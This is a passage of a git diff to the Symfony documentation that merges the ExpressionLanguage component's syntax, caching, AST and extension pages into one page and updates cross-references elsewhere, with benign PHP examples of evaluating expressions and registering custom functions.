+Calling Methods
+...............
+
+The ``.`` syntax can also be used to call methods on an object, similar to
+JavaScript::
+
+    class Robot
+    {
+        public function sayHi($times)
+        {
+            $greetings = [];
+            for ($i = 0; $i < $times; $i++) {
+                $greetings[] = 'Hi';
+            }
+
+            return implode(' ', $greetings).'!';
+        }
+    }
+
+    $robot = new Robot();
+
+    var_dump($expressionLanguage->evaluate(
+        'robot.sayHi(3)',
+        [
+            'robot' => $robot,
+        ]
+    ));
+
+This will print out ``Hi Hi Hi!``.
+
+.. _component-expression-functions:
+
+Working with Functions
+~~~~~~~~~~~~~~~~~~~~~~
+
+You can also use registered functions in the expression by using the same
+syntax as PHP and JavaScript. The ExpressionLanguage component comes with one
+function by default: ``constant()``, which will return the value of the PHP
+constant::
+
+    define('DB_USER', 'root');
+
+    var_dump($expressionLanguage->evaluate(
+        'constant("DB_USER")'
+    ));
+
+This will print out ``root``.
+
+.. tip::
+
+    To read how to register your own functions to use in an expression, see
+    ":ref:`expression-language-extending`".
+
+.. _component-expression-arrays:
+
+Working with Arrays
+~~~~~~~~~~~~~~~~~~~
+
+If you pass an array into an expression, use the ``[]`` syntax to access
+array keys, similar to JavaScript::
+
+    $data = ['life' => 10, 'universe' => 10, 'everything' => 22];
+
+    var_dump($expressionLanguage->evaluate(
+        'data["life"] + data["universe"] + data["everything"]',
+        [
+            'data' => $data,
+        ]
+    ));
+
+This will print out ``42``.
+
+Supported Operators
+~~~~~~~~~~~~~~~~~~~
+
+The component comes with a lot of operators:
+
+Arithmetic Operators
+....................
+
+* ``+`` (addition)
+* ``-`` (subtraction)
+* ``*`` (multiplication)
+* ``/`` (division)
+* ``%`` (modulus)
+* ``**`` (pow)
+
+For example::
+
+    var_dump($expressionLanguage->evaluate(
+        'life + universe + everything',
+        [
+            'life' => 10,
+            'universe' => 10,
+            'everything' => 22,
+        ]
+    ));
+
+This will print out ``42``.
+
+Bitwise Operators
+.................
+
+* ``&`` (and)
+* ``|`` (or)
+* ``^`` (xor)
+
+Comparison Operators
+....................
+
+* ``==`` (equal)
+* ``===`` (identical)
+* ``!=`` (not equal)
+* ``!==`` (not identical)
+* ``<`` (less than)
+* ``>`` (greater than)
+* ``<=`` (less than or equal to)
+* ``>=`` (greater than or equal to)
+* ``matches`` (regex match)
+
+.. tip::
+
+    To test if a string does *not* match a regex, use the logical ``not``
+    operator in combination with the ``matches`` operator::
+
+        $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true
+
+    You must use parentheses because the unary operator ``not`` has precedence
+    over the binary operator ``matches``.
+
+Examples::
+
+    $ret1 = $expressionLanguage->evaluate(
+        'life == everything',
+        [
+            'life' => 10,
+            'everything' => 22,
+        ]
+    );
+
+    $ret2 = $expressionLanguage->evaluate(
+        'life > everything',
+        [
+            'life' => 10,
+            'everything' => 22,
+        ]
+    );
+
+Both variables would be set to ``false``.
+
+Logical Operators
+.................
+
+* ``not`` or ``!``
+* ``and`` or ``&&``
+* ``or`` or ``||``
+
+For example::
+
+    $ret = $expressionLanguage->evaluate(
+        'life < universe or life < everything',
+        [
+            'life' => 10,
+            'universe' => 10,
+            'everything' => 22,
+        ]
+    );
+
+This ``$ret`` variable will be set to ``true``.
+
+String Operators
+................
+
+* ``~`` (concatenation)
+
+For example::
+
+    var_dump($expressionLanguage->evaluate(
+        'firstName~" "~lastName',
+        [
+            'firstName' => 'Arthur',
+            'lastName' => 'Dent',
+        ]
+    ));
+
+This would print out ``Arthur Dent``.
+
+Array Operators
+...............
+
+* ``in`` (contain)
+* ``not in`` (does not contain)
+
+For example::
+
+    class User
+    {
+        public $group;
+    }
+
+    $user = new User();
+    $user->group = 'human_resources';
+
+    $inGroup = $expressionLanguage->evaluate(
+        'user.group in ["human_resources", "marketing"]',
+        [
+            'user' => $user,
+        ]
+    );
+
+The ``$inGroup`` would evaluate to ``true``.
+
+Numeric Operators
+.................
+
+* ``..`` (range)
+
+For example::
+
+    class User
+    {
+        public $age;
+    }
+
+    $user = new User();
+    $user->age = 34;
+
+    $expressionLanguage->evaluate(
+        'user.age in 18..45',
+        [
+            'user' => $user,
+        ]
+    );
+
+This will evaluate to ``true``, because ``user.age`` is in the range from
+``18`` to ``45``.
+
+Ternary Operators
+.................
+
+* ``foo ? 'yes' : 'no'``
+* ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
+* ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
 Passing in Variables
 --------------------
@@ -104,8 +410,13 @@ PHP type (including objects)::
         ]
     )); // displays "Honeycrisp"
 
-For more information, see the :doc:`/components/expression_language/syntax`
-entry, especially :ref:`Working with Objects <component-expression-objects>` and :ref:`Working with Arrays <component-expression-arrays>`.
+When using this component inside a Symfony application, certain objects and
+variables are automatically injected by Symfony so you can use them in your
+expressions (e.g. the request, the current user, etc.):
+
+* :doc:`Variables available in security expressions </security/expressions>`;
+* :doc:`Variables available in service container expressions </service_container/expression_language>`;
+* :ref:`Variables available in routing expressions <routing-matching-expressions>`.
 
 .. caution::
 
@@ -114,25 +425,260 @@ entry, especially :ref:`Working with Objects <component-expression-objects>` and
     characters in untrusted data to prevent malicious users from injecting
     control characters and altering the expression.
 
+.. index::
+    single: Caching; ExpressionLanguage
+
 Caching
 -------
 
-The component provides some different caching strategies, read more about them
-in :doc:`/components/expression_language/caching`.
+The ExpressionLanguage component provides a
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::compile`
+method to be able to cache the expressions in plain PHP. But internally, the
+component also caches the parsed expressions, so duplicated expressions can be
+compiled/evaluated quicker.
+
+The Workflow
+~~~~~~~~~~~~
+
+Both :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::evaluate`
+and ``compile()`` need to do some things before each can provide the return
+values. For ``evaluate()``, this overhead is even bigger.
+
+Both methods need to tokenize and parse the expression. This is done by the
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
+method. It  returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`.
+Now, the ``compile()`` method just returns the string conversion of this object.
+The ``evaluate()`` method needs to loop through the "nodes" (pieces of an
+expression saved in the ``ParsedExpression``) and evaluate them on the fly.
+
+To save time, the ``ExpressionLanguage`` caches the ``ParsedExpression`` so
+it can skip the tokenization and parsing steps with duplicate expressions. The
+caching is done by a PSR-6 `CacheItemPoolInterface`_ instance (by default, it
+uses an :class:`Symfony\\Component\\Cache\\Adapter\\ArrayAdapter`). You can
+customize this by creating a custom cache pool or using one of the available
+ones and injecting this using the constructor::
+
+    use Symfony\Component\Cache\Adapter\RedisAdapter;
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+
+    $cache = new RedisAdapter(...);
+    $expressionLanguage = new ExpressionLanguage($cache);
+
+.. seealso::
+
+    See the :doc:`/components/cache` documentation for more information about
+    available cache adapters.
+
+Using Parsed and Serialized Expressions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Both ``evaluate()`` and ``compile()`` can handle ``ParsedExpression`` and
+``SerializedParsedExpression``::
+
+    // ...
+
+    // the parse() method returns a ParsedExpression
+    $expression = $expressionLanguage->parse('1 + 4', []);
+
+    var_dump($expressionLanguage->evaluate($expression)); // prints 5
+
+.. code-block:: php
+
+    use Symfony\Component\ExpressionLanguage\SerializedParsedExpression;
+    // ...
+
+    $expression = new SerializedParsedExpression(
+        '1 + 4',
+        serialize($expressionLanguage->parse('1 + 4', [])->getNodes())
+    );
+
+    var_dump($expressionLanguage->evaluate($expression)); // prints 5
+
+.. index::
+    single: AST; ExpressionLanguage
+    single: AST; Abstract Syntax Tree
 
 AST Dumping and Editing
 -----------------------
 
-The AST (*Abstract Syntax Tree*) of expressions can be dumped and manipulated
-as explained in :doc:`/components/expression_language/ast`.
+It's difficult to manipulate or inspect the expressions created with the ExpressionLanguage
+component, because the expressions are plain strings. A better approach is to
+turn those expressions into an AST. In computer science, `AST`_ (*Abstract
+Syntax Tree*) is *"a tree representation of the structure of source code written
+in a programming language"*. In Symfony, a ExpressionLanguage AST is a set of
+nodes that contain PHP classes representing the given expression.
+
+Dumping the AST
+~~~~~~~~~~~~~~~
+
+Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::getNodes`
+method after parsing any expression to get its AST::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+
+    $ast = (new ExpressionLanguage())
+        ->parse('1 + 2', [])
+        ->getNodes()
+    ;
+
+    // dump the AST nodes for inspection
+    var_dump($ast);
+
+    // dump the AST nodes as a string representation
+    $astAsString = $ast->dump();
+
+Manipulating the AST
+~~~~~~~~~~~~~~~~~~~~
+
+The nodes of the AST can also be dumped into a PHP array of nodes to allow
+manipulating them. Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::toArray`
+method to turn the AST into an array::
+
+    // ...
+
+    $astAsArray = (new ExpressionLanguage())
+        ->parse('1 + 2', [])
+        ->getNodes()
+        ->toArray()
+    ;
+
+.. _expression-language-extending:
+
+.. index::
+    single: Extending; ExpressionLanguage
+
+Extending the ExpressionLanguage
+--------------------------------
+
+The ExpressionLanguage can be extended by adding custom functions. For
+instance, in the Symfony Framework, the security has custom functions to check
+the user's role.
+
+.. note::
+
+    If you want to learn how to use functions in an expression, read
+    ":ref:`component-expression-functions`".
+
+Registering Functions
+~~~~~~~~~~~~~~~~~~~~~
+
+Functions are registered on each specific ``ExpressionLanguage`` instance.
+That means the functions can be used in any expression executed by that
+instance.
+
+To register a function, use
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::register`.
+This method has 3 arguments:
+
+* **name** - The name of the function in an expression;
+* **compiler** - A function executed when compiling an expression using the
+  function;
+* **evaluator** - A function executed when the expression is evaluated.
+
+Example::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+
+    $expressionLanguage = new ExpressionLanguage();
+    $expressionLanguage->register('lowercase', function ($str) {
+        return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
+    }, function ($arguments, $str) {
+        if (!is_string($str)) {
+            return $str;
+        }
+
+        return strtolower($str);
+    });
+
+    var_dump($expressionLanguage->evaluate('lowercase("HELLO")'));
+    // this will print: hello
+
+In addition to the custom function arguments, the **evaluator** is passed an
+``arguments`` variable as its first argument, which is equal to the second
+argument of ``evaluate()`` (e.g. the "values" when evaluating an expression).
+
+.. _components-expression-language-provider:
+
+Using Expression Providers
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When you use the ``ExpressionLanguage`` class in your library, you often want
+to add custom functions. To do so, you can create a new expression provider by
+creating a class that implements
+:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface`.
+
+This interface requires one method:
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface::getFunctions`,
+which returns an array of expression functions (instances of
+:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction`) to
+register::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionFunction;
+    use Symfony\Component\ExpressionLanguage\ExpressionFunctionProviderInterface;
+
+    class StringExpressionLanguageProvider implements ExpressionFunctionProviderInterface
+    {
+        public function getFunctions()
+        {
+            return [
+                new ExpressionFunction('lowercase', function ($str) {
+                    return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
+                }, function ($arguments, $str) {
+                    if (!is_string($str)) {
+                        return $str;
+                    }
+
+                    return strtolower($str);
+                }),
+            ];
+        }
+    }
+
+.. tip::
+
+    To create an expression function from a PHP function with the
+    :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction::fromPhp` static method::
+
+        ExpressionFunction::fromPhp('strtoupper');
+
+    Namespaced functions are supported, but they require a second argument to
+    define the name of the expression::
+
+        ExpressionFunction::fromPhp('My\strtoupper', 'my_strtoupper');
+
+You can register providers using
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::registerProvider`
+or by using the second argument of the constructor::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+
+    // using the constructor
+    $expressionLanguage = new ExpressionLanguage(null, [
+        new StringExpressionLanguageProvider(),
+        // ...
+    ]);
+
+    // using registerProvider()
+    $expressionLanguage->registerProvider(new StringExpressionLanguageProvider());
+
+.. tip::
+
+    It is recommended to create your own ``ExpressionLanguage`` class in your
+    library. Now you can add the extension by overriding the constructor::
+
+        use Psr\Cache\CacheItemPoolInterface;
+        use Symfony\Component\ExpressionLanguage\ExpressionLanguage as BaseExpressionLanguage;
 
-Learn More
-----------
+        class ExpressionLanguage extends BaseExpressionLanguage
+        {
+            public function __construct(CacheItemPoolInterface $cache = null, array $providers = [])
+            {
+                // prepends the default provider to let users override it
+                array_unshift($providers, new StringExpressionLanguageProvider());
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
+                parent::__construct($cache, $providers);
+            }
+        }
 
-    /components/expression_language/*
-    /service_container/expression_language
-    /reference/constraints/Expression
+.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree
+.. _`CacheItemPoolInterface`: https://github.com/php-fig/cache/blob/master/src/CacheItemPoolInterface.php
diff --git a/components/expression_language/ast.rst b/components/expression_language/ast.rst
deleted file mode 100644
index 2bd2bf80023..00000000000
--- a/components/expression_language/ast.rst
+++ /dev/null
@@ -1,49 +0,0 @@
-.. index::
-    single: AST; ExpressionLanguage
-    single: AST; Abstract Syntax Tree
-
-Dumping and Manipulating the AST of Expressions
-===============================================
-
-It’s difficult to manipulate or inspect the expressions created with the ExpressionLanguage
-component, because the expressions are plain strings. A better approach is to
-turn those expressions into an AST. In computer science, `AST`_ (*Abstract
-Syntax Tree*) is *"a tree representation of the structure of source code written
-in a programming language"*. In Symfony, a ExpressionLanguage AST is a set of
-nodes that contain PHP classes representing the given expression.
-
-Dumping the AST
----------------
-
-Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::getNodes`
-method after parsing any expression to get its AST::
-
-    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
-
-    $ast = (new ExpressionLanguage())
-        ->parse('1 + 2', [])
-        ->getNodes()
-    ;
-
-    // dump the AST nodes for inspection
-    var_dump($ast);
-
-    // dump the AST nodes as a string representation
-    $astAsString = $ast->dump();
-
-Manipulating the AST
---------------------
-
-The nodes of the AST can also be dumped into a PHP array of nodes to allow
-manipulating them. Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::toArray`
-method to turn the AST into an array::
-
-    // ...
-
-    $astAsArray = (new ExpressionLanguage())
-        ->parse('1 + 2', [])
-        ->getNodes()
-        ->toArray()
-    ;
-
-.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree
diff --git a/components/expression_language/caching.rst b/components/expression_language/caching.rst
deleted file mode 100644
index 29e1e0116f7..00000000000
--- a/components/expression_language/caching.rst
+++ /dev/null
@@ -1,70 +0,0 @@
-.. index::
-    single: Caching; ExpressionLanguage
-
-Caching Expressions Using Parser Caches
-=======================================
-
-The ExpressionLanguage component already provides a
-:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::compile`
-method to be able to cache the expressions in plain PHP. But internally, the
-component also caches the parsed expressions, so duplicated expressions can be
-compiled/evaluated quicker.
-
-The Workflow
-------------
-
-Both :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::evaluate`
-and ``compile()`` need to do some things before each can provide the return
-values. For ``evaluate()``, this overhead is even bigger.
-
-Both methods need to tokenize and parse the expression. This is done by the
-:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
-method. It  returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`.
-Now, the ``compile()`` method just returns the string conversion of this object.
-The ``evaluate()`` method needs to loop through the "nodes" (pieces of an
-expression saved in the ``ParsedExpression``) and evaluate them on the fly.
-
-To save time, the ``ExpressionLanguage`` caches the ``ParsedExpression`` so
-it can skip the tokenization and parsing steps with duplicate expressions. The
-caching is done by a PSR-6 `CacheItemPoolInterface`_ instance (by default, it
-uses an :class:`Symfony\\Component\\Cache\\Adapter\\ArrayAdapter`). You can
-customize this by creating a custom cache pool or using one of the available
-ones and injecting this using the constructor::
-
-    use Symfony\Component\Cache\Adapter\RedisAdapter;
-    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
-
-    $cache = new RedisAdapter(...);
-    $expressionLanguage = new ExpressionLanguage($cache);
-
-.. seealso::
-
-    See the :doc:`/components/cache` documentation for more information about
-    available cache adapters.
-
-Using Parsed and Serialized Expressions
----------------------------------------
-
-Both ``evaluate()`` and ``compile()`` can handle ``ParsedExpression`` and
-``SerializedParsedExpression``::
-
-    // ...
-
-    // the parse() method returns a ParsedExpression
-    $expression = $expressionLanguage->parse('1 + 4', []);
-
-    var_dump($expressionLanguage->evaluate($expression)); // prints 5
-
-.. code-block:: php
-
-    use Symfony\Component\ExpressionLanguage\SerializedParsedExpression;
-    // ...
-
-    $expression = new SerializedParsedExpression(
-        '1 + 4',
-        serialize($expressionLanguage->parse('1 + 4', [])->getNodes())
-    );
-
-    var_dump($expressionLanguage->evaluate($expression)); // prints 5
-
-.. _`CacheItemPoolInterface`: https://github.com/php-fig/cache/blob/master/src/CacheItemPoolInterface.php
diff --git a/components/expression_language/extending.rst b/components/expression_language/extending.rst
deleted file mode 100644
index 787d0f61d31..00000000000
--- a/components/expression_language/extending.rst
+++ /dev/null
@@ -1,136 +0,0 @@
-.. index::
-    single: Extending; ExpressionLanguage
-
-Extending the ExpressionLanguage
-================================
-
-The ExpressionLanguage can be extended by adding custom functions. For
-instance, in the Symfony Framework, the security has custom functions to check
-the user's role.
-
-.. note::
-
-    If you want to learn how to use functions in an expression, read
-    ":ref:`component-expression-functions`".
-
-Registering Functions
----------------------
-
-Functions are registered on each specific ``ExpressionLanguage`` instance.
-That means the functions can be used in any expression executed by that
-instance.
-
-To register a function, use
-:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::register`.
-This method has 3 arguments:
-
-* **name** - The name of the function in an expression;
-* **compiler** - A function executed when compiling an expression using the
-  function;
-* **evaluator** - A function executed when the expression is evaluated.
-
-Example::
-
-    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
-
-    $expressionLanguage = new ExpressionLanguage();
-    $expressionLanguage->register('lowercase', function ($str) {
-        return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
-    }, function ($arguments, $str) {
-        if (!is_string($str)) {
-            return $str;
-        }
-
-        return strtolower($str);
-    });
-
-    var_dump($expressionLanguage->evaluate('lowercase("HELLO")'));
-    // this will print: hello
-
-In addition to the custom function arguments, the **evaluator** is passed an
-``arguments`` variable as its first argument, which is equal to the second
-argument of ``evaluate()`` (e.g. the "values" when evaluating an expression).
-
-.. _components-expression-language-provider:
-
-Using Expression Providers
---------------------------
-
-When you use the ``ExpressionLanguage`` class in your library, you often want
-to add custom functions. To do so, you can create a new expression provider by
-creating a class that implements
-:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface`.
-
-This interface requires one method:
-:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface::getFunctions`,
-which returns an array of expression functions (instances of
-:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction`) to
-register::
-
-    use Symfony\Component\ExpressionLanguage\ExpressionFunction;
-    use Symfony\Component\ExpressionLanguage\ExpressionFunctionProviderInterface;
-
-    class StringExpressionLanguageProvider implements ExpressionFunctionProviderInterface
-    {
-        public function getFunctions()
-        {
-            return [
-                new ExpressionFunction('lowercase', function ($str) {
-                    return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
-                }, function ($arguments, $str) {
-                    if (!is_string($str)) {
-                        return $str;
-                    }
-
-                    return strtolower($str);
-                }),
-            ];
-        }
-    }
-
-.. tip::
-
-    To create an expression function from a PHP function with the
-    :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction::fromPhp` static method::
-
-        ExpressionFunction::fromPhp('strtoupper');
-
-    Namespaced functions are supported, but they require a second argument to
-    define the name of the expression::
-
-        ExpressionFunction::fromPhp('My\strtoupper', 'my_strtoupper');
-
-You can register providers using
-:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::registerProvider`
-or by using the second argument of the constructor::
-
-    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
-
-    // using the constructor
-    $expressionLanguage = new ExpressionLanguage(null, [
-        new StringExpressionLanguageProvider(),
-        // ...
-    ]);
-
-    // using registerProvider()
-    $expressionLanguage->registerProvider(new StringExpressionLanguageProvider());
-
-.. tip::
-
-    It is recommended to create your own ``ExpressionLanguage`` class in your
-    library. Now you can add the extension by overriding the constructor::
-
-        use Psr\Cache\CacheItemPoolInterface;
-        use Symfony\Component\ExpressionLanguage\ExpressionLanguage as BaseExpressionLanguage;
-
-        class ExpressionLanguage extends BaseExpressionLanguage
-        {
-            public function __construct(CacheItemPoolInterface $cache = null, array $providers = [])
-            {
-                // prepends the default provider to let users override it
-                array_unshift($providers, new StringExpressionLanguageProvider());
-
-                parent::__construct($cache, $providers);
-            }
-        }
-
diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
deleted file mode 100644
index a4c17f81a27..00000000000
--- a/components/expression_language/syntax.rst
+++ /dev/null
@@ -1,320 +0,0 @@
-.. index::
-    single: Syntax; ExpressionLanguage
-
-The Expression Syntax
-=====================
-
-The ExpressionLanguage component uses a specific syntax which is based on the
-expression syntax of Twig. In this document, you can find all supported
-syntaxes.
-
-Supported Literals
-------------------
-
-The component supports:
-
-* **strings** - single and double quotes (e.g. ``'hello'``)
-* **numbers** - e.g. ``103``
-* **arrays** - using JSON-like notation (e.g. ``[1, 2]``)
-* **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
-* **booleans** - ``true`` and ``false``
-* **null** - ``null``
-* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
-
-.. caution::
-
-    A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
-    and 8 backslashes (``\\\\\\\\``) in a regex::
-
-        echo $expressionLanguage->evaluate('"\\\\"'); // prints \
-        $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true
-
-    Control characters (e.g. ``\n``) in expressions are replaced with
-    whitespace. To avoid this, escape the sequence with a single backslash
-    (e.g.  ``\\n``).
-
-.. _component-expression-objects:
-
-Working with Objects
---------------------
-
-When passing objects into an expression, you can use different syntaxes to
-access properties and call methods on the object.
-
-Accessing Public Properties
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Public properties on objects can be accessed by using the ``.`` syntax, similar
-to JavaScript::
-
-    class Apple
-    {
-        public $variety;
-    }
-
-    $apple = new Apple();
-    $apple->variety = 'Honeycrisp';
-
-    var_dump($expressionLanguage->evaluate(
-        'fruit.variety',
-        [
-            'fruit' => $apple,
-        ]
-    ));
-
-This will print out ``Honeycrisp``.
-
-Calling Methods
-~~~~~~~~~~~~~~~
-
-The ``.`` syntax can also be used to call methods on an object, similar to
-JavaScript::
-
-    class Robot
-    {
-        public function sayHi($times)
-        {
-            $greetings = [];
-            for ($i = 0; $i < $times; $i++) {
-                $greetings[] = 'Hi';
-            }
-
-            return implode(' ', $greetings).'!';
-        }
-    }
-
-    $robot = new Robot();
-
-    var_dump($expressionLanguage->evaluate(
-        'robot.sayHi(3)',
-        [
-            'robot' => $robot,
-        ]
-    ));
-
-This will print out ``Hi Hi Hi!``.
-
-.. _component-expression-functions:
-
-Working with Functions
-----------------------
-
-You can also use registered functions in the expression by using the same
-syntax as PHP and JavaScript. The ExpressionLanguage component comes with one
-function by default: ``constant()``, which will return the value of the PHP
-constant::
-
-    define('DB_USER', 'root');
-
-    var_dump($expressionLanguage->evaluate(
-        'constant("DB_USER")'
-    ));
-
-This will print out ``root``.
-
-.. tip::
-
-    To read how to register your own functions to use in an expression, see
-    ":doc:`/components/expression_language/extending`".
-
-.. _component-expression-arrays:
-
-Working with Arrays
--------------------
-
-If you pass an array into an expression, use the ``[]`` syntax to access
-array keys, similar to JavaScript::
-
-    $data = ['life' => 10, 'universe' => 10, 'everything' => 22];
-
-    var_dump($expressionLanguage->evaluate(
-        'data["life"] + data["universe"] + data["everything"]',
-        [
-            'data' => $data,
-        ]
-    ));
-
-This will print out ``42``.
-
-Supported Operators
--------------------
-
-The component comes with a lot of operators:
-
-Arithmetic Operators
-~~~~~~~~~~~~~~~~~~~~
-
-* ``+`` (addition)
-* ``-`` (subtraction)
-* ``*`` (multiplication)
-* ``/`` (division)
-* ``%`` (modulus)
-* ``**`` (pow)
-
-For example::
-
-    var_dump($expressionLanguage->evaluate(
-        'life + universe + everything',
-        [
-            'life' => 10,
-            'universe' => 10,
-            'everything' => 22,
-        ]
-    ));
-
-This will print out ``42``.
-
-Bitwise Operators
-~~~~~~~~~~~~~~~~~
-
-* ``&`` (and)
-* ``|`` (or)
-* ``^`` (xor)
-
-Comparison Operators
-~~~~~~~~~~~~~~~~~~~~
-
-* ``==`` (equal)
-* ``===`` (identical)
-* ``!=`` (not equal)
-* ``!==`` (not identical)
-* ``<`` (less than)
-* ``>`` (greater than)
-* ``<=`` (less than or equal to)
-* ``>=`` (greater than or equal to)
-* ``matches`` (regex match)
-
-.. tip::
-
-    To test if a string does *not* match a regex, use the logical ``not``
-    operator in combination with the ``matches`` operator::
-
-        $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true
-
-    You must use parentheses because the unary operator ``not`` has precedence
-    over the binary operator ``matches``.
-
-Examples::
-
-    $ret1 = $expressionLanguage->evaluate(
-        'life == everything',
-        [
-            'life' => 10,
-            'everything' => 22,
-        ]
-    );
-
-    $ret2 = $expressionLanguage->evaluate(
-        'life > everything',
-        [
-            'life' => 10,
-            'everything' => 22,
-        ]
-    );
-
-Both variables would be set to ``false``.
-
-Logical Operators
-~~~~~~~~~~~~~~~~~
-
-* ``not`` or ``!``
-* ``and`` or ``&&``
-* ``or`` or ``||``
-
-For example::
-
-    $ret = $expressionLanguage->evaluate(
-        'life < universe or life < everything',
-        [
-            'life' => 10,
-            'universe' => 10,
-            'everything' => 22,
-        ]
-    );
-
-This ``$ret`` variable will be set to ``true``.
-
-String Operators
-~~~~~~~~~~~~~~~~
-
-* ``~`` (concatenation)
-
-For example::
-
-    var_dump($expressionLanguage->evaluate(
-        'firstName~" "~lastName',
-        [
-            'firstName' => 'Arthur',
-            'lastName' => 'Dent',
-        ]
-    ));
-
-This would print out ``Arthur Dent``.
-
-Array Operators
-~~~~~~~~~~~~~~~
-
-* ``in`` (contain)
-* ``not in`` (does not contain)
-
-For example::
-
-    class User
-    {
-        public $group;
-    }
-
-    $user = new User();
-    $user->group = 'human_resources';
-
-    $inGroup = $expressionLanguage->evaluate(
-        'user.group in ["human_resources", "marketing"]',
-        [
-            'user' => $user,
-        ]
-    );
-
-The ``$inGroup`` would evaluate to ``true``.
-
-Numeric Operators
-~~~~~~~~~~~~~~~~~
-
-* ``..`` (range)
-
-For example::
-
-    class User
-    {
-        public $age;
-    }
-
-    $user = new User();
-    $user->age = 34;
-
-    $expressionLanguage->evaluate(
-        'user.age in 18..45',
-        [
-            'user' => $user,
-        ]
-    );
-
-This will evaluate to ``true``, because ``user.age`` is in the range from
-``18`` to ``45``.
-
-Ternary Operators
-~~~~~~~~~~~~~~~~~
-
-* ``foo ? 'yes' : 'no'``
-* ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
-* ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
-
-Built-in Objects and Variables
-------------------------------
-
-When using this component inside a Symfony application, certain objects and
-variables are automatically injected by Symfony so you can use them in your
-expressions (e.g. the request, the current user, etc.):
-
-* :doc:`Variables available in security expressions </security/expressions>`;
-* :doc:`Variables available in service container expressions </service_container/expression_language>`;
-* :ref:`Variables available in routing expressions <routing-matching-expressions>`.
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 65a38efb415..3a75b98bb40 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -141,7 +141,7 @@ One way to accomplish this is with the Expression constraint:
 The :ref:`expression <reference-constraint-expression-option>` option is the
 expression that must return true in order for validation to pass. To learn
 more about the expression language syntax, see
-:doc:`/components/expression_language/syntax`.
+:ref:`expression-language-syntax`.
 
 .. sidebar:: Mapping the Error to a Specific Field
 
@@ -265,7 +265,7 @@ The expression that will be evaluated. If the expression evaluates to a false
 value (using ``==``, not ``===``), validation will fail.
 
 To learn more about the expression language syntax, see
-:doc:`/components/expression_language/syntax`.
+:ref:`expression-language-syntax`.
 
 Inside of the expression, you have access to up to 2 variables:
 
diff --git a/routing.rst b/routing.rst
index e65e7dde27f..560d61040cb 100644
--- a/routing.rst
+++ b/routing.rst
@@ -414,9 +414,9 @@ arbitrary matching logic:
             ;
         };
 
-The value of the ``condition`` option is any valid
-:doc:`ExpressionLanguage expression </components/expression_language/syntax>`
-and can use any of these variables created by Symfony:
+The value of the ``condition`` option is any valid :ref:`ExpressionLanguage
+expression <expression-language-syntax>` and can use any of these variables
+created by Symfony:
 
 ``context``
     An instance of :class:`Symfony\\Component\\Routing\\RequestContext`,
diff --git a/security/expressions.rst b/security/expressions.rst
index cad80f6365f..85767ff6a60 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -37,7 +37,7 @@ be granted (note: your User object may not have an ``isSuperAdmin()`` method,
 that method is invented for this example).
 
 This uses an expression and you can learn more about the expression language
-syntax, see :doc:`/components/expression_language/syntax`.
+syntax, see :ref:`expression-language-syntax`.
 
 .. _security-expression-variables:
 
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index f755057e240..b70e27ad0dc 100644
